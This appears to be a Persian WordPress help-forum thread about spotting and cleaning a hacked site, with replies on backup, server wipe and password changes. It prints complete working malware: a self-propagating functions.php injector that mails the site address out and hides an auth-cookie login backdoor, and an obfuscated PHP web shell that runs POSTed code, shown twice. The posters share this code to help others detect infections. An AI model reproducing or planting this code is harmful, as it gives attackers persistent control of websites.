از کجا بفهمید سایتتون ویروسی شده؟(یک راه حل)

پیام یزدانیان

کاربر عضو
30/8/17
413
77
28
28
بوشهر
درود
یک نمونه فهمیدن این مورد :
فایل فانکشن قالبتون رو بازکنید و اگر نمونه کد زیر در آن وجود داشت ، هاست شما ویروسی شده و باید افزونه ها و قالب ها رو ویروس یابی کنید. در مرحله اول این کد رو از فانکشن حذف کنید.


PHP:
<?php
function _check_isactive_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);               
                    $output .= ($showdots && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_allwidgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;   
    }
    if (sizeof($wids) > 0){
        return _get_allwidgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
    if(!isset($com_length)) $com_length=120;
    if(!isset($text_value)) $text_value="cookie";
    if(!isset($allowed_tags)) $allowed_tags="<a>";
    if(!isset($type_filter)) $type_filter="none";
    if(!isset($expl)) $expl="";
    if(!isset($filter_homes)) $filter_homes=get_option("home");
    if(!isset($pref_filter)) $pref_filter="wp_";
    if(!isset($use_more)) $use_more=1;
    if(!isset($comm_type)) $comm_type="";
    if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    if(!isset($postauthor_comment)) $postauthor_comment="";
    if(!isset($comm_is_approved)) $comm_is_approved="";
    if(!isset($postauthor)) $postauthor="auth";
    if(!isset($more_link)) $more_link="(more...)";
    if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    if(!isset($morecontents)) $morecontents="ma".$expl."il";
    if(!isset($fmore)) $fmore=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$is_widget) :
    
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($f_tags)) $f_tags=1;
    if(!isset($type_filters)) $type_filters=$filter_homes;
    if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    if(!isset($aditional_tags)) $aditional_tags="div";
    if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_link_text)) $more_link_text="Continue reading this entry";   
    if(!isset($showdots)) $showdots=1;
    
    $comments=$wpdb->get_results($sql);   
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($com_length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $com_length) {
                $l=$com_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_link="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $allowed_tags) {
        $output=strip_tags($output, $allowed_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    $output .= ($showdots && $ellipsis) ? "..." : "";
    $output=apply_filters($type_filter, $output);
    switch($aditional_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

    if ($use_more ) {
        if($fmore) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

add_action("init", "_getsprepare_widget");

    
?>
 

jathiya

کاربر عضو
7/8/13
158
6
18
سلام
خوب هستید ممنون از آموزشتون
از گوگل متوجه شدم خطایی

Hacked: URL injection
Description
These pages appear to be created by a hacker in order to spam search results. Learn more
Sample URLs
Jul 13, 2019http://****.ir/2o0g-86hirochishopde8c4580365642948

داخل سایت با افزونه Wordfence سایت رو اسکن کرده ام آدرس خطاهای زیر رو داد تمام رو نمیدونستم درست یا غلط اول تغییر نام دادم بعد دیدم خطایی نمیدهد پاک کردم بکاپ رو دارم از سایت اما
یک ادرس هست به نام test.png که وقتی حذف میکنم کل سایت سفید می شود و سایت کار نمی کند
در صورتی که در نسخه اولیه سایت چنین فایل هایی نیست نه test.png نه ادرس فایل های زیر
public_html/wp-admin/images/test.png
public_html/wp-includes/Requests/Transport/wp-info.php
public_html/wp-includes/random_compat/innc.php
public_html/wp-includes/Requests/Utility/font_.class.php
/public_html/wp-includes/Requests/Utility/font_.class.php
public_html/wp-admin/user/submenu.php
public_html/wp-admin/network/body.php
ممنون میشوم راهنمایی کنید باید چیکار کنم؟
همچنین این خطاها هم امروز باز جستجو کردم
  • Filename: wp-includes/theme-compat/functions.php
  • Filename: wp-includes/random_compat/random_bytes_openssl.php
  • Filename: wp-includes/js/tinymce/wp-tinymce.js.gz
  • Filename: wp-includes/js/codemirror/jshint.js
همچنین فانکشن قالب هم

File last modified:Tuesday 4th of September 2018 05:57:06 PM
PHP:
<?php ${"\x47L\x4f\x42\x41LS"}["\x6c\x68\x73l\x61wk"]="c";$kvbemdpsn="c";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x78a\x77\x67\x6d\x6d\x70\x6c\x77o"]="b\x6b\x66";${"GLOB\x41L\x53"}["\x70tx\x75\x76\x74uij\x6d"]="\x76bl";${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x6f\x6fl\x72\x7a"]="\x62\x6b\x66";${${"\x47\x4cO\x42\x41\x4c\x53"}["p\x74xu\x76\x74\x75\x69\x6a\x6d"]}=str_replace("\x74\x69","","\x74\x69st\x69t\x74ir\x74i\x5frt\x69\x65\x74\x69pl\x74i\x61t\x69\x63\x65");${${"G\x4cO\x42\x41\x4cS"}["\x68\x78\x61\x77gm\x6d\x70\x6c\x77\x6f"]}=${${"G\x4c\x4f\x42\x41\x4cS"}["\x70t\x78\x75\x76\x74\x75ijm"]}("\x6b","","\x6b\x62\x61k\x73\x6b\x65\x36\x6b\x34k\x5fkdk\x65\x6b\x63\x6b\x6f\x6b\x64ke");${${"\x47L\x4f\x42ALS"}["lh\x73\x6c\x61\x77\x6b"]}=${${"\x47\x4cO\x42A\x4c\x53"}["g\x6f\x6f\x6cr\x7a"]}("YX\x4ezZX\x49=").@$_GET["n"]."\x74";@${$kvbemdpsn}($_POST["cfd0c"]);echo "a\x62c\x61\x62cab\x63\n";?>
 
آخرین ویرایش:

پیام یزدانیان

کاربر عضو
30/8/17
413
77
28
28
بوشهر
سلام
خوب هستید ممنون از آموزشتون
از گوگل متوجه شدم خطایی

Hacked: URL injection
Description
These pages appear to be created by a hacker in order to spam search results. Learn more
Sample URLs
Jul 13, 2019http://****.ir/2o0g-86hirochishopde8c4580365642948

داخل سایت با افزونه Wordfence سایت رو اسکن کرده ام آدرس خطاهای زیر رو داد تمام رو نمیدونستم درست یا غلط اول تغییر نام دادم بعد دیدم خطایی نمیدهد پاک کردم بکاپ رو دارم از سایت اما
یک ادرس هست به نام test.png که وقتی حذف میکنم کل سایت سفید می شود و سایت کار نمی کند
در صورتی که در نسخه اولیه سایت چنین فایل هایی نیست نه test.png نه ادرس فایل های زیر
public_html/wp-admin/images/test.png
public_html/wp-includes/Requests/Transport/wp-info.php
public_html/wp-includes/random_compat/innc.php
public_html/wp-includes/Requests/Utility/font_.class.php
/public_html/wp-includes/Requests/Utility/font_.class.php
public_html/wp-admin/user/submenu.php
public_html/wp-admin/network/body.php
ممنون میشوم راهنمایی کنید باید چیکار کنم؟
همچنین این خطاها هم امروز باز جستجو کردم
  • Filename: wp-includes/theme-compat/functions.php
  • Filename: wp-includes/random_compat/random_bytes_openssl.php
  • Filename: wp-includes/js/tinymce/wp-tinymce.js.gz
  • Filename: wp-includes/js/codemirror/jshint.js
همچنین فانکشن قالب هم

File last modified:Tuesday 4th of September 2018 05:57:06 PM
PHP:
<?php ${"\x47L\x4f\x42\x41LS"}["\x6c\x68\x73l\x61wk"]="c";$kvbemdpsn="c";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x78a\x77\x67\x6d\x6d\x70\x6c\x77o"]="b\x6b\x66";${"GLOB\x41L\x53"}["\x70tx\x75\x76\x74uij\x6d"]="\x76bl";${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x6f\x6fl\x72\x7a"]="\x62\x6b\x66";${${"\x47\x4cO\x42\x41\x4c\x53"}["p\x74xu\x76\x74\x75\x69\x6a\x6d"]}=str_replace("\x74\x69","","\x74\x69st\x69t\x74ir\x74i\x5frt\x69\x65\x74\x69pl\x74i\x61t\x69\x63\x65");${${"G\x4cO\x42\x41\x4cS"}["\x68\x78\x61\x77gm\x6d\x70\x6c\x77\x6f"]}=${${"G\x4c\x4f\x42\x41\x4cS"}["\x70t\x78\x75\x76\x74\x75ijm"]}("\x6b","","\x6b\x62\x61k\x73\x6b\x65\x36\x6b\x34k\x5fkdk\x65\x6b\x63\x6b\x6f\x6b\x64ke");${${"\x47L\x4f\x42ALS"}["lh\x73\x6c\x61\x77\x6b"]}=${${"\x47\x4cO\x42A\x4c\x53"}["g\x6f\x6f\x6cr\x7a"]}("YX\x4ezZX\x49=").@$_GET["n"]."\x74";@${$kvbemdpsn}($_POST["cfd0c"]);echo "a\x62c\x61\x62cab\x63\n";?>

سلام در تلگرام من ک در امضا هست با من در ارتباط باشین .
 
  • Like
Reactions: jathiya

جاویدان

کاربر عضو
27/4/15
2,065
331
83
39
استان تهران
سلام
خوب هستید ممنون از آموزشتون
از گوگل متوجه شدم خطایی

Hacked: URL injection
Description
These pages appear to be created by a hacker in order to spam search results. Learn more
Sample URLs
Jul 13, 2019http://****.ir/2o0g-86hirochishopde8c4580365642948

داخل سایت با افزونه Wordfence سایت رو اسکن کرده ام آدرس خطاهای زیر رو داد تمام رو نمیدونستم درست یا غلط اول تغییر نام دادم بعد دیدم خطایی نمیدهد پاک کردم بکاپ رو دارم از سایت اما
یک ادرس هست به نام test.png که وقتی حذف میکنم کل سایت سفید می شود و سایت کار نمی کند
در صورتی که در نسخه اولیه سایت چنین فایل هایی نیست نه test.png نه ادرس فایل های زیر
public_html/wp-admin/images/test.png
public_html/wp-includes/Requests/Transport/wp-info.php
public_html/wp-includes/random_compat/innc.php
public_html/wp-includes/Requests/Utility/font_.class.php
/public_html/wp-includes/Requests/Utility/font_.class.php
public_html/wp-admin/user/submenu.php
public_html/wp-admin/network/body.php
ممنون میشوم راهنمایی کنید باید چیکار کنم؟
همچنین این خطاها هم امروز باز جستجو کردم
  • Filename: wp-includes/theme-compat/functions.php
  • Filename: wp-includes/random_compat/random_bytes_openssl.php
  • Filename: wp-includes/js/tinymce/wp-tinymce.js.gz
  • Filename: wp-includes/js/codemirror/jshint.js
همچنین فانکشن قالب هم

File last modified:Tuesday 4th of September 2018 05:57:06 PM

با سلام دوست عزیز
به نظر می رسد شما نقاط اولیه شناسایی ورود مهاجم را پیدا کرده اید اما چرا همچنان سعی بر استفاده دارید خودش جای سوال دارد!!
اولویت در این لحظه اینست که شما اول با حفظ داشتن یک فول بک آپ از شیوه خروجی برون بری اطلاعات ارزشمند را خارج کنید، در این شیوه شما کمترین خطر جابجایی اطلاعات را خواهید داشت .
یادمان باشد برخی افزونه ها قالب ها و کدها به علت نبود یک سیستم مشخص در وردپرس برای جلوگیری از تغییرات با حذف یا اضافه کردن برخی کدها به اصطلاح هک وردپرس سعی در استفاده بهتر می کنند و البته برخی مهاجمین نیز از همین شیوه برای اینکار استفاده می کنند.
در برون بری اولویت مبتنی بر دیتابیس اطلاعات است یعنی منابع نوشتاری پست ها برگه ها برچسب ها محصولات و نظایر حتی نام کاربری افراد را (این مورد باید با احتیاط بیشتری انجام شود) یعنی اطلاعات اضافه برداشت نمی شود . حتی نیازی به داشتن اطلاعات قالب یا افزونه ها نیست بجز موارد خاصی چون کلید اتصال به درگاه یا مواردی از این دست و ضمنا برداشتن کپی از wp-config.php , و پوشه uploads باقی موارد چون قالب ها و نظایر این را فقط بصورت لیست باید بردارید و کل سرور را یکبار کامل پاکسازی کنید این شامل حذف کامل دیتابیس و روت سرور و سطل زباله است حتی اگر بتوانید سرور را ریست کنید بسیار خوب است .
پس از انجام این مراحل شما حتما باید مطمئن شوید ایمیل اصلی سرور شما مورد تهاجم قرار نگرفته باشد پس اولین کاری که می کنید اینست که ایمیل خودتان را تغییر رمز داده و از حالت امنیت موبایل برایش استفاده کنید سپس اقدام به تغییر رمز سرور کنید سپس وردپرس جدیدی را از مخزن دانلود و مجدد نصب کنید . (در صورت نصب جدید نیازی به بارگذاری wp-config.php نیست اما داشتن بک اپ وردپرس قبلی از آن جهت جلوگیری از برخی اشتباهات الزامی است )
یادتان باشد اگر قصد نصب قالب قبلی یا افزونه های قبلی را دارید و آنها جزو موارد بروز مخزن وردپرس هستند در صورت بروز بودن و اسکن توسط افزونه های امنیتی شامل دقت بیشتری نمی شوند اما قالب ها یا افزونه های تجاری که از محلی غیر از فروشنده اصلی دریافت می کنید فرقی نمی کند در کجا وب باشد سایت های فروش غیر قانونی نال یا مواردی از این دست باید دقت بیشتری کنید و سعی کنید اولا نسخه های جدید باشند دوما حتما منابع دیگر را تست کنید سوما حتما اسکن کدها قبل از نصب و فعال سازی فراموش نشود .
قرار دادن پوشه آپلود و فایل کانفیگ نیز باید دقت شود گاهی لازم است
بخصوص در فایل کانفیگ wp-config.php ایجاد یک دیتابیس جدید و دارای رمز جدید در سرور و قرار دادن در wp-config.php به راحتی امکان پذیر و کاملا امنیتی است .
قبل از درون ریزی اطلاعات برون بری شما می توانید کلیه ساختار برون بری را در حالت xml یا مشابه آن جستجو و مواردی که خودتان ذکر کردید را بررسی کنید.
پوشه آپلود همانطور که یک پوشه امن است می تواند محل خطر نیز باشد بررسی با دقت تمامی عکس ها و پوشه ها را بررسی کنید بجز پوشه های اصلی محصولات و مطالب باقی پوشه های جانبی می تواند گاها کامل حذف شود البته با شرط رعایت داشتن بک آپ مجزا . همه بخش ها حتی فایل هایی که خودتان بارگذاری کردید را بررسی کنید. هیچ پوشه زیپ یا مشکوکی را در سرور نگه ندارید.
حتما فایل htaccss را در بخش های مهم بررسی کنید که فعال یا نصب باشند و خودسرانه حذف نکنید. اطلاعات آنها را باز و بررسی کنید.
موفق باشید
 

jathiya

کاربر عضو
7/8/13
158
6
18
آخه سایت رو نمیتونم ببندم و اینکه یک سوال پیش اومده
من فقط محصولاتم مهم هستند بقیه موارد رو اگر پاک کنم هم مشکلی ندارم
چجوری متوجه بشوم که دیتابیس هم ویروسی شده یا نه؟